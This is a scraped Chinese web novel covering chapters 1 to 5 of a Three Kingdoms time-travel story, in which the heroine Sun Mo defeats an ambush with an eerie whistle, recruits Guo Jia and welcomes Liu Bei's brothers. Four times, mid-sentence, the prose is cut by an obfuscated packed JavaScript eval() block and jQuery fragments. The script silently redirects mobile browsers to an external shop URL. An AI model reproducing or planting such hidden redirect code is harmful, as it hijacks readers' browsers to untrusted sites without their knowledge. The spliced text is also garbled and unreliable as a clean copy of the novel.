《[三国]清澈,但千古一帝》 1. 第 1 章 传曰:帝有四军,曰风林火山。火者,其烈如火,名赤焰也。 …… 是役,两千破十万,赤焰之名,遂震天下。 “你可知那场景?漫天遍野的火光,贼军乌泱泱地压过来。”老者叼着烟杆。 他白发苍苍,却精神抖擞,眸中带光。 “十万人。”他强调。 围观的青年不自觉攥紧了茶碗:“那你们多少人?” “两千。” “只有两千。”他再次强调。 “那年吕玲绮将军还未及冠,拎着画戟就冲向了贼军帅旗!”老者拿烟杆比划了一下,“我?我当然不带怂的,跟着将军就冲!” “不突围?”青年的声音发颤,“两千冲十万?” “要不然,怎么说吕将军战功第一呢。” 老者咧嘴,露出几颗残牙。 “不过,”他话锋一转,压低了声音,“真正厉害的,不是我们。” 众人凑近了些。 “对面坐镇的,是郭丞相。” 茶摊安静了一瞬。 有人小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849801|211802||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 声问:“……哪个郭丞相?” “砰” 烟杆狠敲了一下那人的脑袋。 “这天下有几个郭丞相?”老者瞪他一眼,“鬼才,郭嘉郭奉孝!” 那人捂着脑袋,难以置信:“郭丞相输了?郭丞相怎么会输?” 老者慢悠悠磕了磕烟灰:“因为他的对手,是贾丞相。” 贾诩贾文和。 众人倒吸一口凉气。 老者顿了顿,又竖起一根手指,指了指天。 “……和圣上。” 2. 第 2 章 孙墨左右脑在疯狂互搏。 抓到逃兵,得知对方没粮了。 ——嗯,可能是诱敌之计。再看看。 斥候回报,对方兵变炸营了。 ——有点意思,准备兵马。 探马再报,对方斩了数十人示众。 ——那还等什么?全军突击! ——结果你告诉我中计了?以上都是演的?对方就等着你入套呢? 开什么玩笑? 吕玲绮居然是这么中计的? 孙墨把这短短几句的战报来来回回看了一遍又一遍,眉头拧成了结。 这不打?——这是敌方奸计! 但这不打?——这是敌方奸计! 这怎么就能不打?! 孙墨深吸一口气,缓缓放下战报。 面对这种机会要能忍住,要么是胆小如鼠的草包,要么深得司马懿真传。 但司马懿能忍,是因为知道对面是诸葛亮。 但凡对面是个其他人,司马宣王就不是千里请战,而是千里突袭、侵掠如火了。 所以现在对面的,又是谁? “敌军统帅是谁?”孙墨沉声问道。 流星马(通讯兵)老老实实回答:“是上党太守张扬。” “不是张杨,”孙墨说得斩钉截铁,“还有谁?” 若张杨有这个本事,怎么可能在三国历史上籍籍无名。 流星马愣了一下,犹豫道:“据探马汇报,张杨身旁似乎跟着个瘦弱的青年。” “瘦弱”二字一出,孙墨顿时有种不好的预感。 汉代士人们的画风是文能提笔著经义,武能提剑斩人头。温润如玉荀文若,挨他一脚也得倒飞三丈远。 能打上“瘦弱”标签的…… “军中禁酒,但他腰间却有个酒葫芦。想来身份不低。” 孙墨:“……” 悬着的心彻底死了。 孙墨下意识抽搐了一下嘴角,随后平淡中带着一股寂寥地吩咐道:“知道了。去告诉玲绮,中计不怪她。守好野王,不准出城。” 顿了顿,孙墨加重语气强调:“记住了,只守不攻,不准出城。” 然后犹嫌不够,她继续强调:“无论什么情况,半步都不准出。记住了。” “违令者,斩。” “诺!” 问:什么情况下看见SSR的出现会悲伤? 答:当SSR在对面的时候。 过于强力,有点难搞。 郭嘉郭奉孝。 谨慎起见,孙墨给领大部队在后的贾诩亲自写了封信,言简意赅,中心思想是:袁绍派来了个很厉害的军师,我等你(大腿)。 然后当场下令安营扎寨。 不进野王城,而是与野王形成犄角之势。 孙墨目标很清晰:你打野王,那我就骚扰你后军;你打我,那我就……跑。 反正我是骑兵,有本事你来追我呀? 你敢吗? 郭嘉:…… 他还真不敢。 谁人不知,怀侯孙墨,有万夫不敌之勇? 高坡之上,郭嘉一袭青衫,长身而立。清风徐来,他的发丝随风微乱。 一看就知道,又是个不好好束发的。 他身侧的上党太守张杨正拧着眉头。 “这孙志白(孙墨),难道看穿了我们的埋伏?怎么就突然安营扎寨了?她不救野王了?” 郭嘉抿抿嘴,他的关注点完全不在伏击失败上。 “将军,看人马,敌军最多只有千余人。” 张杨抬手遮住阳光,凝神张望了一番:“……确实如此。但这又如何?” 他不理解。 郭嘉说不上自己是什么心情。是算计落空的失落,还是棋逢对手的喜悦? 他目光清冽又平静:“这说明,我们那“十万黑山贼”的虚张声势,被看穿了;这说明,怀侯帐下,有不世出的奇才;这说明,接下来,这仗,会很……精彩。” 张杨相当震惊:“这怎么可能?那守城的吕玲绮都没看出来,他远在怀县,怎么知道的?” “不知。”郭嘉说得很坦诚。 张杨心头猛地一跳。一向算无遗策的军师居然说自己不知道。 他偏头,试探道:“既是不世出的奇才,比之先生如何?” “咕噜,咕噜” 郭嘉摸出腰间的酒葫芦,仰头痛饮。些许酒液顺着下巴缓缓流下,划过滚动的喉结。 “砰” 他抹去唇角残酒,随手将那心爱的酒葫芦丢下了山坡。 “先生一向酒不离身,今日怎么丢掉酒葫芦了?莫非要戒酒?” 郭嘉拍拍手,洒然一笑:“‘知音’将至,何须借酒自娱?自当摆宴设席。” “将军,既已被看穿,就无需再虚张声势了。” “撤回伏兵,攻城吧。” “不是围点打援,是真正的攻城。” “此时城内守军不过千余,即使算上怀侯来救的骑兵,至多也不过三千。” “而我等足有两万兵马。” “攻破野王,敌军自溃。” ----------------- “我行动了。” “我预判了你的行动。” “我知道你预判了,并预判了你的预判。” “我知道你预判了我的预判,并预判了你预判了我的预判的预判。” 这是三流谋士,无限套娃。 二流谋士,计计连环,步步惊心。然一子错漏,满盘皆输。 一流谋士,先置己于不败之地。不思胜,先思败。未算进,先算退。 至于顶级谋士…… 兵无常势,水无常形。 他们只是让你在万千的道路中,让你走上他们为你选的一条罢了。 攻野王,孙墨就不得不救。 至于孙墨来救野王之后…… 已经入网的鱼儿,怎么杀,只是心情问题罢了。 郭嘉志在必得。 不管怎样,赶来救援的,只有千余骑兵而已。 兵贵神速,只要在援军大部队到来之前…… “好,”张杨点点头,刚要传令让设伏的杨丑回来,全力攻城。就看见流星马来报: “报——杨丑将军率伏兵出击了!” 张杨:“?” 郭嘉:“?” 触发伏击的孙墨:“……” 时间线往回倒一点。 孙墨下令安营扎寨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849802|211802||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 然后出于谨慎起见,她点了几个亲兵跟自己出去踩点。 怀县至野王多是平原,视野开阔。然而野王背靠太行山,越近野王,地势越高,山林土丘也越是常见。 几人骑着马,晃晃达达,晃晃达达。 路过一片片山野。 走走停停,走走停停。 出乎意料,没有意外。 亲兵赵六一向视怀侯为天人,唯命是从。 但现在,他面临了人生的最大抉择。 是继续跟着怀侯“探查”,还是提出一些小小的看法? “嘶——” 怀侯这样做,一定有她的道理。 “呃啊——” 怀侯这样做,到底有没有深意? “呜——哇——” …… 那声音凄厉、嘶哑,仿佛重伤垂死之人最后的挣扎。时而如嘶吼,时而如悲鸣。低沉的轰鸣瞬间拔高成撕裂耳膜的尖啸,带着一种湿漉漉的血腥感,仿佛成千上万个冤魂同时在耳边嚎叫。 这究竟是什么哨子! 魔音贯耳下,赵六终于崩溃了:“君侯,我们有必要每片树林,都停下来吹哨子吗?” “呜呜——” 孙墨叼着哨子,含糊不清:“你不觉得,这些树林很适合埋伏吗?” 赵六试图讲道理:“林子这么多,一个一个挨个探,这得到什么时候?” 孙墨一脸谨慎:“贵质不贵量,不急。” 赵六彻底破防:“那我们为什么不进去探,反而要吹这p——哨子!” 孙墨眨眨眼:“据说,若能惊起飞鸟,则说明林中无人;反之,则说明林中有埋伏。” 赵六崩溃了:“为什么一定要吹‘这’哨子!” “这”字咬得极重,甚至带着几分哭腔。 孙墨一下子沉默了。 还能因为什么?因为没带普通竹哨,只能从系统抽奖仓库里拿个哨子来应急。 这哨子也没有什么大问题,也就是声音有那么一点的……惨烈。 阿兹特克死亡哨。 问就是,我也不知道作为一个哨子,居然能这么……抽象。 一旦吹起来,讲好听点叫阴风怒号,讲直白点叫鬼哭狼嚎。 突出一个百鬼夜行。 谁吹谁知道,谁听谁减寿。 谁也别想平心静气。 孙墨尝试找补:“效果不是挺好的吗,什么鸟啊雀啊什么的,一飞一大片……” “呜呜——” 孙墨又吹了两下,试图证明些什么。 “呜呜——” “啊啊——!!” 林子里突然爆发出一阵撕心裂肺的惨叫。 孙墨:? 孙墨一愣:“什么声音?” 她扭头看去,只见那片本该平静的树林中,连滚带爬冲出一群满目惊恐的士兵,正是杨丑麾下的伏兵。他们一个个脸色惨白,兵器都快拿不稳了,一边狂奔一边嘶吼: “恶鬼!是恶鬼索命!” “杀啊——!杀恶鬼啊——!!” 孙墨:“……” 她默默收起哨子,默默抽出身后的三石弓,试图证明般的说道: “效果,确实很好。” 3. 第 3 章 一般来说,设伏是个肥差。不用费太大的力气,就能捞着大把的战功。 唯一的变数只是:鱼儿如果不入套怎么办? 但这还需要担心吗? 吩咐在此处设伏的,可是算无遗策的郭先生啊! 想我杨丑,征战多年,从未见过能把诱敌之计用得如此环环相扣之人。 杨丑大大咧咧靠坐在树后,指尖在大腿上敲击,心里盘算着这一波能割下多少人头,能得多少军功,能有多少赏赐。 至于那发出巨响的奇物? 杨丑不屑地撇撇嘴。郭先生说了,那奇物虽然声势大,那杀伤力也就是普通车弩而已。 “哼,不足为惧。” 杨丑冷哼一声。 “报,”一斥候弯下身子,悄悄凑了过来。他压低嗓子:“将军,发现敌军四人。为首的那位,气度不凡,似乎是个将军。” “嗯?”杨丑扭头望去,林影绰绰间,隐隐约约看到几个身影。一看就不是大部队。 “仅有四人?是斥候?” 斥候摇摇头:“不像,像是在……闲逛。” “闲逛?发现我们了?” “应当没有。” “仅有四人罢了。放他们过去。等敌军大部队到了,再出击。”杨丑冷冷吩咐道。 “诺!” 与匈奴多年的征战生涯,让他不缺耐心。 再说,任何一个将领,都不可能因为三四个敌军暴露埋伏。 除非…… “等等,”杨丑急忙叫住斥候,一不小心声音大了些许。他急忙回头张望,见那几个人影一动不动,方才放了心。 “为首那人,骑的可是红马?可有白发?”杨丑哑着嗓子问,仿佛看见了天大的功劳。 “不是红马。”斥候回答得相当干脆。 “至于白发……”斥候仔细回忆了一番,斟酌道:“头盔挡着,看不真切。” 杨丑顿时没了兴致。 谁人不知,洛阳城里,怀侯赌赢了温侯吕布的赤兔。 没骑赤兔,那便不是大鱼。 “下去吧。” 杨丑挥挥手,闭目养神,继续做他的封赏大梦。 若是来探查的是怀侯就好了。到时我大军一拥而上,即使她勇武不下于吕布…… “呜——呜——” 异响传来,杨丑一个激灵。 “什么声音?” 只听着那声音像极了人濒死前的惨叫,又恍如厉鬼索命。有时悠悠扬扬,有时又断断续续。时而高亢,时而低沉。越听,越毛骨悚然。 杨丑强压下内心的颤抖。 一秒,两秒,十秒。 空气仿佛凝固了。 “扑棱扑棱” 林中惊鸟乱飞。 杨丑心脏噗通了一下,竟然瞬间感到了一股抽痛。 “跑啊——!” 有士兵忍不住了,颤抖地往回跑。 “跑啊——!” 有一就有二,有二就有三。恐惧像瘟疫般在伏兵中炸开。 埋伏的士兵,有越来越多往回跑。 不能这样下去! 多年的统兵经验告诉他,他必须做点什么。 “他老子的,跑什么!杀出去!”杨丑大吼着下令,“对方就四人!杀了他们!” 杨丑咆哮。他知道,埋伏已经毁了。若是让这股恐惧蔓延,部队会当场炸营。 “……”士兵停下了脚步,但抖抖索索不敢冲锋。 “他老子的,跟老子冲!”杨丑红着眼睛,举刀就带头冲锋! 将是兵胆。将军冲了,原本吓软的士卒,咬咬牙,也开始冲锋。 “杀啊——” “杀鬼啊——” 来得及。杀了他们,再回去埋伏不迟。 杨丑这样盘…… “咻——” 算着。 一支羽箭带着破风之声,瞬间贯穿了杨丑的头颅。 赵六看孙墨的眼神,已经不仅仅是崇拜,而是敬若神明。 “君侯,方才那一箭,似乎射杀了一个将军!” “咻——咻——” 孙墨拉弓的手不停,一箭又一箭。 “是吗?”孙墨倒是没注意,拉弓如拨弦,“咻咻”又是两箭。 每一箭射出,必然伴随着一个人的倒下。 【上将卡丶武圣临世】 此时的她,近战如关云长横刀,远程似黄汉升(黄忠)开弓。 羽箭如点名般,将林中露头的敌军,一一射杀。 短短一会,已经交代了数十具尸体。 “敌兵快冲过来了,我们撤。”孙墨收起三石弓。 赵六兴奋的跃跃欲试:“这就撤了?我看这些人都吓破了胆,我觉得我们还可以再冲杀一波。” 孙墨直接一巴掌拍向他脑袋:“三石弓射得远,我们才能毫发无伤。等敌军冲上来,有几条命都不够填的!” “走了!” 孙墨扭转马头,一夹马肚,转瞬即溜。 夕阳西下,晚风迎面吹来,孙墨心情大好,歌性大发。 她唱道:“烈火卷雄风,红云映碧空。莽原好驰骋,烽烟天边拥。骐骥有良种,宝马待英雄。” “……流霞寄壮志,沧海抒豪情。明朝奋四蹄,敌阵立大功。”[1] 歌词很简单,几遍之后,赵六等人也纵情高歌起来。 笑声与歌声回荡,哪里还有半分被追杀的狼狈? 爽快! “君侯,你为什么没骑赤兔?”回到营帐,赵六见正在“噗噗”吐气的赤兔,不禁问了一句。 赤兔好像在生气,不停用屁股顶着孙墨骑的马。 孙墨赶紧跳下马来,给赤兔顺毛:“我们是去探查的、不是交战。万一遇上敌人,骑赤兔不是明明晃晃的告诉敌人,我是怀侯、快来抓我吗?” 傻子才这样干。 孙墨默默在心中补充。 ----------------- “报——杨丑将军率军出击了!” “报——杨丑将军中计了!对方只有四人!” “报——杨丑将军、杨丑将军、杨丑将军他,战死了!” 流星马的汇报一条接着一条,每一条都让张杨的呼吸更加急促。 听到杨丑战死,张杨直接掀翻了案几。 “废物!” 他气红了眼睛,手指甚至都哆嗦起来,指着流星马大骂:“废物,废物!三千兵马埋伏,被四个人打败了?四个?!” 你踏马在逗我? 一旁的郭嘉脸色,也变得极其难看。 先前引吕玲绮出城的诱敌之战,虽然得胜,但是那巨响之物让士卒皆心生恐惧;再加上情急之下不分敌我的射杀,已经让士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849803|211802||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 气有损。好不容易才安抚过来,现在就又出了这么一出。 三千兵马、还是伏击的情况下,被四个人耍了。 主将还死了。 郭嘉抱臂,揉了揉生疼的太阳穴。 这合理吗? 这究竟是什么对手? 杨丑没死还好说,但现在,他死了…… 杨丑在军中的地位,仅次于张杨。 “你把战况,细细报来……” 听着听着,郭嘉第一次感受到了失控。 他拧着眉看向张杨,尝试性地挽回局势:“将军,杨将军虽死,但攻城……” “够了!”张杨第一次打断了郭嘉的提议:“两番战斗,皆有妖异。攻城之事,不如暂缓。” “可……” “我意已决,不必再说。” 两次计谋的落空,让张扬不再对郭嘉言听计从,而是有所保留。 郭嘉:“……” 他知道,有一些东西,变了。 事后诸位复盘,不得不感慨,孙墨这一吹哨子,硬生生吹出了野王的战略机遇。 若是真让张杨攻城,野王城必破,河内必危。 而现在,因为杨丑身死,张杨推迟了进攻。在这宝贵的时间窗口中,贾诩的回信赶到了。 一共有两封。 一封给孙墨,一封给张杨。 给孙墨的很简单,分析了局势,表示若对方真有厉害军师可能会是场硬战。而我方兵力并不占优,据城而守,小心为上。然后强调了把另一封信转交给张杨,一定要快,越快越好。 至于给张杨的信…… 孙墨看完,长长吐出一口气。 人和人的差别怎么这么大呢?我怎么没想到? 几乎是立刻,孙墨就派人给张杨送信去了。 是夜,张杨大帐。 “给我送信?”张杨接过小兵呈上来的丝帛,“谁的信?” “说是怀侯送来的。” 张杨:…… “怀侯”二字一出,张杨顿时坐直了身体,郭嘉也挑了眉头。 怀侯居然亲自来了。 张杨缓缓把丝帛摊开,认真阅读起来。 一旁的郭嘉见张杨看了许久,却不开口,便主动询问道:“将军,信上说了什么?” 张杨不答,只是将丝帛递给了郭嘉。 郭嘉低头一看: “袁渤海虽四世三公,然外宽内忌,骨肉尚不能容,况于将军乎?且其跨四郡之地击朝歌,成败犹未可知也。今为将军计,不如坐观龙虎相斗;若怀侯胜,则退守上党;若怀侯败,再取野王,亦未晚也。” 意思再直白不过:袁绍他连亲兄弟都容不下,你张杨给他卖什么命?你不如在野王划水,孙墨赢了你保命,孙墨输了你再捡漏,何苦现在拼命? 张杨沉默。 他看向郭嘉,眼神里写满了怀疑。 他盯着郭嘉,看他要如何回应。 作为袁绍帐下的谋士,张杨认为他一定会向着袁绍说话。 老子是你手中的刀吗? 张杨冷笑,就等着郭嘉说出“高论”。 然而郭嘉啥都没说。他只是拱了拱手,挂上了一如既往的笑意:“如此,我那酒葫芦,倒是白扔了。” 几乎看到信的瞬间,郭嘉就知道此计出自何人之手。 一语乱天下,贾诩贾文和。 4. 第 4 章 古语有云:谋身,谋国,谋天下。 见张杨做了决定,且眼中难掩对自己的敌意,郭嘉相当识趣地不再劝说,而是拱手退下。 接下来的时日,野王陷入了一种诡异的安静。张杨不再进攻,孙墨也很给面子地不做诸如临阵挑衅等危险操作,只是原地待机而已。 而贾诩领的三千步卒汇和后,亦是如此。 一时间,两方兵马颇有些心照不宣的意味。 这日,孙墨百无聊奈,所以给贾诩出了个难题。 “文和,你说,对面那郭奉孝,能不能想办法绑——招揽过来?” 孙墨双眼炯炯有神,简直把我想要、我太想要了写在了脸上。 贾诩微微一滞——这神情,与当时在洛阳初见他时如出一辙。 只是那时各为其主,孙墨眼中的觊觎转瞬即逝,化作了浓浓的惊艳,与一丝忌惮。 贾诩拨弄了下推牌:“也许,郭奉孝本就有投效怀侯之意。” 孙墨:“?” 孙墨:“!” 她大喜:“文和如何得知?” 贾诩给自家主公分析:“观其用计,冷酷而不留余地。见军心涣散,不惜射杀自己人来稳固军心。如此狠辣之人,在吕将军中计的那一刻,就该命令狼骑远程射杀,而不是给了吕将军突围的机会。” 孙墨回忆战报,点点头:“所以他只想胜,而不想玲绮死。” 贾诩微微一笑:“毕竟谁人不知,吕将军是怀侯的第一大将。杀了她,无疑会把怀侯得罪死。” 这倒是。 但是…… 孙墨有些奇异地瞥了眼贾诩:那历史上,你宛城设计对付曹老板,怎么没在意会不会把曹老板得罪死?人曹老板可是直接被搞死了长子曹昂、侄子曹安民、大将典韦、坐骑绝影…… 损失那叫一个惨烈。 论狠,你是一点不输啊。 贾诩悠悠补充道:“当然,得不得罪之说,还得看是什么人。怀侯护短,人尽皆知。” 孙墨:“……” 贾诩:“您的想法都写在了脸上,故诩知您在想什么。” 孙墨:“……” 她摸了摸脸,决定不再纠结这事。 这还节省了交流时间呢,没关系,这不重要。 自我安慰一番后,孙墨把话题拉入了重点:“要怎么把人招来?” “如我所料不错、他真有投效之意的话……” 孙墨散出了全部的斥候,还派出了众多三人小分队。 贾诩的计策很简单,他说若郭嘉真心投效的话,这段时间应该会主动找机会出营。至于孙墨,只要派人去抓就行。 默契皆在不言中。 如此简单朴实而又无华。 十日之后,孙墨望着果真被捉住的郭嘉,一时无言以对。 一旁的贾诩,老神在在,一副果然如此的样子。 被绑的郭嘉,也是一副成竹在胸的样子,丝毫没有作为俘虏的自觉。反而像是来做客的。 孙墨:…… 这还真的行? 她挥挥手,让士兵们先出去,然后亲自给郭嘉松绑。 她一边松,一边忍不住吐槽道:“你们这些人,既然是大才,投效的方式就不能讲究一些?” 郭嘉来回活动了被绑良久的筋骨,好奇问道:“怀侯以为会如何?” “比如说我送重礼给奉孝,然后引发张杨猜忌,奉孝连夜投奔?又或者袁本初败了,怪罪于你,你被迫投奔……”孙墨回忆小说里面的经典桥段。 郭嘉摸摸下巴,认真思考了一下:“这倒也不是不行,不过嘛……” “不过?” 郭嘉一双狐狸眼带笑,看向了案几旁的贾诩。 四目相对。 鬼才与毒士,正式会面。 “……我和文和惺惺相惜,自然是越简越好。” 贾诩礼貌拱手:“别来无恙。” 帐内一片和谐。 孙墨顺势给郭嘉解惑,说了震天雷和阿兹特克死亡哨之事,听得郭嘉啧啧称奇。 在座的几都人心知肚明,真正的战场已不在野王,而在朝歌县,在怀县。 至于得知军师郭嘉被抓走的张杨,是如何暴躁、差点发怒掀了大账的,并无人在意。 ----------------- 然而,东线的战况却没那么轻松。 朝歌,北依黑山,淇水之滨。 守军只有千余,面对袁绍四万大军的雷霆之势,死守一日后告陷。 袁军士气大振,衔尾而进,直逼汲县。 在敌军破城的最后关口,徐晃统领的五千先锋骑兵终于赶到。然而,骑兵的冲势竟被袁军精锐步卒硬生生用盾墙挡下。强弩齐射,铁甲结阵,徐晃纵马挥斧,亦未能撼动那如山岳般的阵型。 荀攸见事不可为,果然放弃汲县,鸣金收兵。 徐晃只得退居城外扎营。 营内大帐,徐晃和荀攸面色沉重。 徐晃率先打破了沉默,他狠狠锤了下案几:“袁渤海兵精粮足,据城而守,非易与之辈。” 荀攸长叹一声:“若无转机,这仗,恐怕会耗日良久。” 徐晃双眼一凝:“军师以为,转机何在?” “若有一上将,以万夫莫敌之勇破敌阵,则可一战可定也。”荀攸摸了摸胡须,叹道,“只是这天下,有如此能耐的,除了温侯吕布,怕只有我等主公了。” 徐晃本能的表示不赞同:“莫说主公不在,就算主公亲至,以主公万金之躯,怎可轻易涉险?” 荀攸没有接话,话锋一转:“主公所邀之刘玄德兄弟,你可有耳闻?” 徐晃摇摇头:“未曾。” “我亦未曾。然主公既赞誉其为万人敌,定有她的道理。” 徐晃:“……” 他忍不住质疑:“不是我质疑主公,但是,我就是说,张辽张文远尚且是骑都尉,与其八百骑兵亦可;但这三人,不过小小县令,安能受主公如此礼遇、立为校尉?他们怎么就得了主公青眼?” 凭什么? 徐晃都要把这三字写脸上了。 他不服,且酸。 “主公用人不拘一格,待其前来,试之即可。” 荀攸如是道。 这边徐晃不服,那边刘备三兄弟,也在不服。 刘备收到怀侯的信,立即召集二弟、三弟过来商议。 黑脸的张飞还没进门就叫嚷开来:“大丈夫立于天地间,当持矛杀贼,怎能郁郁久居女子之下!我不去!” “三弟!”关羽跟在后面,试图拽住。 “哎二哥你别拉我,”张飞一甩膀子,拎着丈八蛇矛就是一杵,“锵”的一声金石响。 “我等拼死杀敌才落个县令,她孙墨有何功劳,竟当上河内太守?” “她凭什么招揽我们?” “就凭她是怀侯?” “凭什么?” “我不服!” “打死我也不投奔一女子!” 张飞气炸了,骂骂咧咧。 “三弟!”关羽终于拽住了人。 “三弟莫要胡闹,怀侯欲请我为汲县县令……”刘备缓缓开口,将传信帛书递出。 张飞接过,看也不看就直接递给了二哥。 “县令算什么!大哥你本就是县令,何必承她的情!”张飞嘟囔。 “……兼校尉,领兵两千,拨粮草万石。”刘备补完未尽的话。 张飞的声音戛然而止。 半响,一向粗犷大嗓门的万人敌,首次尝试什么叫细若蚊蝇:“那也不是不可以……” “我堂堂丈夫,不与一个女子计较……” “她这么看重我们,我们当然要给她点面子……” 他越说,就越感到一种莫名的底气升腾起来。于是他的声音又开始理直气壮: “大哥,咱们啥时候出发?” 一直尝试阻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849804|211802||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 止张飞、但未果的关羽:“……” 刘备再清楚张飞的脾气不过,他选择给自家三弟保留点面子。因此他转头询问关羽:“二弟,你怎么看?” 关羽展开丝帛,细看起来。 他眉头拧得很死:“言辞恳切,求贤之心若渴。且封官许爵皆是实职,这诚意……重逾千钧。” 有驻地,有粮草,能领兵,不用离开兄弟,对刘备来说,有着无法拒绝的吸引力。 这几年的蹉跎让他受够了冷眼,他不仅需要一个舞台,更需要一份尊重。而孙墨给的,实在太多了。 乱世,兵权就是最大的诚意。 “——不妥。”关羽话锋一转。 刘备没料到二弟会这么说,他语气郑重:“为何?” 关羽道:“无功不受禄。我等寸功未立,安能受如此大恩?如此,于心不安。” 刘备抿抿嘴。二弟说得有道理。 但张飞不干了:“现在没功劳,不等于以后没功劳。要我说,咱先答应了,以后补上不就行了?” “以我三兄弟之力,还害怕立不了功劳?” 关羽:“……” 他想到了自己在十八诸侯面前立的军令状。本是斩杀华雄、一举扬名的大好机会,结果被吕布破坏了。 让兄弟三人在天下英雄前,颜面尽失。 刘备显然看出了二弟在想什么,他略加思索:“那日华雄连斩三将,一众诸侯无计可施。二弟能逼退华雄,已在众英雄面前留名。说不定怀侯此番招揽,便是听闻二弟之勇。” “就是就是。二哥别多想。” 在张飞的催促下,兄弟三人弃了印绶,留下书信,然后就火急火燎奔赴怀县,准备先拜见孙墨。 然而刚到地头,便得知袁绍大军压境,已经占领了汲县。 汲县县令刘备:“……” 在一打探,得知徐晃徐将军正领兵与袁绍对峙。 张飞大喜,异常兴奋:“大哥二哥,这战功,送上门来了。” 关羽缓缓抚须,一路都不苟言笑的脸上,也浮出了淡淡的笑意。 此时刘备正处于人生的最低谷,他胸膛起伏两下,整了整衣衫,严肃道:“二弟三弟,等会入了军营,切不可无礼。” “是,大哥。”关张二人一时也收敛起了笑容。 他们也知晓,龙起龙飞,就在今朝。 绝不容有失。 然而他们就算准备的再充分,也没想到怀侯会这么重视他们,他们会受到如此礼遇。 先是大营外请求通传。 按理来说,守营的小兵都会“刁难”一番来者。倒也谈不上刁难,只是若每个人都向上汇报,将军麻不麻烦不知道,他自己一定很有麻烦。 但是,眼前这个小兵,听到“我乃汉室宗亲刘玄德后”,直接二话不说,主动牵马引路,将人带进大营。 刘备尚能稳住情绪,张飞直接下了一跳。他狐疑地跟着入帐,左瞧瞧,又望望。 案几明净,丝被软榻。 “这、这是将军的营帐吧?给我们?”莫说张飞了,刘备关羽也难以置信。 难以置信的还在后面。 先是士卒送饭,有菜有肉;又是端茶送水,让三人洗漱放松;最后,待三人休息够了,才由亲兵领路,带道中军大账。 还没走进,就见着一将军、一文士,在帐前迎风而立。 居然是特意出帐等他们。 刘备何时受过这等礼遇?讨董之时诸侯的冷嘲热讽还历历在目,而今日,竟有人视他如国士。 怀侯居然如此敬我? 刘备本就性情中人,一时间,双目涌出热泪:“怀侯,知刘备焉?” 关羽和张飞也是动容。 人敬我一尺,我敬人一丈。 关羽微微低下了高昂的头颅,和大哥一起行礼:“拜见将军。” 至于张飞,用现在的话讲,就是他已经按耐不住要把该死的袁绍捅一万个透明窟窿了。 5. 第 5 章 徐晃摊着脸,僵硬地维持面部肌肉不垮。 他自幼熟读兵法,自然知道为将者当有气量,有风度,能容人。见贤思齐,见不贤内自省。见到贤才受到重用应该为其高兴,不应该暗生嫉妒和不服…… 这是圣人的教诲,也是为将的本分。 …… 可是他们一个县令、两个弓马手,算哪门子的贤才! 一个县令、两个弓马手,凭什么要他以国士之礼相待? 徐晃皮笑肉不笑,心里憋着一团火。他艰难地履行着荀攸的建议:以重礼相待。 依自己来看,主公封校尉、分兵马已经是破格提拔了,现在居然还要亲自去迎? 他们配吗? 徐晃不服。 对此,荀攸只有一句:“此三人既得主公青眼,必有其过人之处。” “主公”二字咬的很重。 徐晃:“……” 在“主公”二字的压制下,他极其勉为其难地配合。 他是服从主公的命令,不是信服荀攸并陪他做戏! 没错,在徐晃眼中,荀攸就是在做戏,装得一副礼贤下士的模样。 堂堂太守府内阁、颍川名士,怎么可能真对三个落魄的残兵败将礼贤下士? 讨董时,三人不自量力闹出的笑话人尽皆知! 只是这戏做着做着,味道就变了。 荀攸特意摆了接风洗尘的宴席。 几杯薄酒下肚,原本客套而拘谨的气氛,在荀攸春风和煦般的笑容下,渐渐发生了变化。 徐晃端着酒樽,惊讶地发现,自己以为在“做戏”的军师,似乎真的投入了进去,而他自己,竟然也在这氛围中被慢慢感染。 荀攸没有摆出高高在上的名士架子,他举着酒樽,先是真诚地赞赏了刘关张三人的勇武,接着感慨英雄不遇其时,十常侍作乱,汉祚衰微,自己空有抱负却无地施展,语气变得沉重而苍凉。 “唉……”荀攸长叹一声,端起酒樽一饮而尽。 